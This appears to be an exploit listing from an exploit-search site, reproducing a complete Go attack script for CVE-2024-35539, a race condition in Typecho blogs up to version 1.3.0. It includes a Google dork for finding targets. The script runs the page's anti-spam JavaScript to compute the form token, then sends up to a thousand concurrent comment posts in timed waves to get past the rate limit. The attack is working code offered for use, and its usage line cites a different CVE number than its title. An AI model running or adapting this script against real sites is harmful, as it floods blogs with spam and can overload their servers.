Share
## https://sploitus.com/exploit?id=PACKETSTORM:190396
// Exploit Title: Typecho <= 1.3.0 Race Condition
    // Google Dork: intext:"Powered by Typecho" inurl:/index.php
    // Date: 18/08/2024
    // Exploit Author: Michele 'cyberaz0r' Di Bonaventura
    // Vendor Homepage: https://typecho.org
    // Software Link: https://github.com/typecho/typecho
    // Version: 1.3.0
    // Tested on: Typecho 1.3.0 Docker Image with PHP 7.4 (https://hub.docker.com/r/joyqi/typecho)
    // CVE: CVE-2024-35539
    
    // For more information, visit the blog post: https://cyberaz0r.info/2024/08/typecho-multiple-vulnerabilities/
    
    package main
    
    import (
    	"bytes"
    	"fmt"
    	"io"
    	"net/http"
    	"net/url"
    	"os"
    	"strings"
    	"sync"
    	"sync/atomic"
    	"time"
    
    	"github.com/robertkrimen/otto"
    )
    
    var (
    	c                    int32 = 0
    	commentsPostInterval int64 = 60
    	maxThreads           int   = 1000
    	wg                   sync.WaitGroup
    	userAgent            string       = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
    	client               *http.Client = &http.Client{
    		CheckRedirect: func(req *http.Request, via []*http.Request) error {
    			return http.ErrUseLastResponse
    		},
    	}
    )
    
    func getJSFunction(u string) string {
    	req, err := http.NewRequest("GET", u, nil)
    	if err != nil {
    		fmt.Println("[X] Error creating initial request:", err)
    		return ""
    	}
    
    	req.Header.Set("User-Agent", userAgent)
    	resp, err := client.Do(req)
    	if err != nil {
    		fmt.Println("[X] Error sending initial request:", err)
    		return ""
    	}
    
    	buf := new(bytes.Buffer)
    	buf.ReadFrom(resp.Body)
    	body := buf.String()
    
    	if !strings.Contains(body, "input.value = (") || !strings.Contains(body, ")();;") {
    		fmt.Println("[X] Error finding JavaScript function")
    		return ""
    	}
    
    	jsFunction := strings.Split(body, "input.value = (")[1]
    	jsFunction = strings.Split(jsFunction, ")();;")[0]
    
    	return jsFunction
    }
    
    func executeJavaScript(jsFunctionName string, jsFunctionBody string) string {
    	vm := otto.New()
    
    	_, err := vm.Run(jsFunctionBody)
    	if err != nil {
    		fmt.Println("[X] Error executing JavaScript function:", err)
    		return ""
    	}
    
    	result, err := vm.Call(jsFunctionName, nil)
    	if err != nil {
    		fmt.Println("[X] Error calling JavaScript function:", err)
    		return ""
    	}
    
    	returnValue, err := result.ToString()
    	if err != nil {
    		fmt.Println("[X] Error converting JavaScript result to string:", err)
    		return ""
    	}
    
    	return returnValue
    }
    
    func spamComments(u string, formToken string) {
    	timestamp := time.Now().Unix()
    	for {
    		i := 0
    
    		for time.Now().Unix() < timestamp-1 {
    			time.Sleep(250 * time.Millisecond)
    			fmt.Printf("\r[*] Waiting for next spam wave... (%d seconds)    ", timestamp-time.Now().Unix()-1)
    		}
    
    		fmt.Printf("\n")
    		for time.Now().Unix() < timestamp+2 {
    			if i < maxThreads {
    				wg.Add(1)
    				go spamRequest(u, formToken, i)
    				i++
    			}
    		}
    
    		wg.Wait()
    		fmt.Printf("\n[+] Successfully spammed %d comments\n", c)
    		timestamp = time.Now().Unix() + commentsPostInterval
    	}
    }
    
    func spamRequest(u string, formToken string, i int) {
    	fmt.Printf("\r[*] Spamming comment request %d    ", i)
    
    	defer wg.Done()
    
    	formData := url.Values{}
    	formData.Set("_", formToken)
    	formData.Set("author", fmt.Sprintf("user_%d", i))
    	formData.Set("mail", fmt.Sprintf("user%d@test.example", i))
    	formData.Set("text", fmt.Sprintf("Hello from user_%d", i))
    
    	req, err := http.NewRequest("POST", u+"comment", nil)
    	if err != nil {
    		return
    	}
    
    	req.Header.Set("Referer", u)
    	req.Header.Set("User-Agent", userAgent)
    	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    	req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
    	req.Body = io.NopCloser(strings.NewReader(formData.Encode()))
    
    	resp, err := client.Do(req)
    	if err != nil {
    		return
    	}
    
    	if resp.StatusCode == 302 {
    		atomic.AddInt32(&c, 1)
    	}
    
    	defer resp.Body.Close()
    }
    
    func main() {
    	if len(os.Args) != 2 {
    		fmt.Println("Usage: go run CVE-2024-35538.go <POST_URL>")
    		return
    	}
    
    	fmt.Println("[+] Starting Typecho <= 1.3.0 Race Condition exploit (CVE-2024-35539) by cyberaz0r")
    
    	targetUrl := os.Args[1]
    	fmt.Println("[+] Spam target:", targetUrl)
    
    	fmt.Println("[*] Getting JavaScript function to calculate form token...")
    	jsFunction := getJSFunction(targetUrl)
    	if jsFunction == "" {
    		fmt.Println("[-] Could not get JavaScript function, exiting...")
    		return
    	}
    
    	fmt.Println("[*] Evaluating JavaScript function to calculate form token...")
    	formToken := executeJavaScript("calculateToken", strings.Replace(jsFunction, "function ()", "function calculateToken()", 1))
    	if formToken == "" {
    		fmt.Println("[-] Could not get form token, exiting...")
    		return
    	}
    
    	fmt.Printf("[+] Form token: %s", formToken)
    	spamComments(targetUrl, formToken)
    }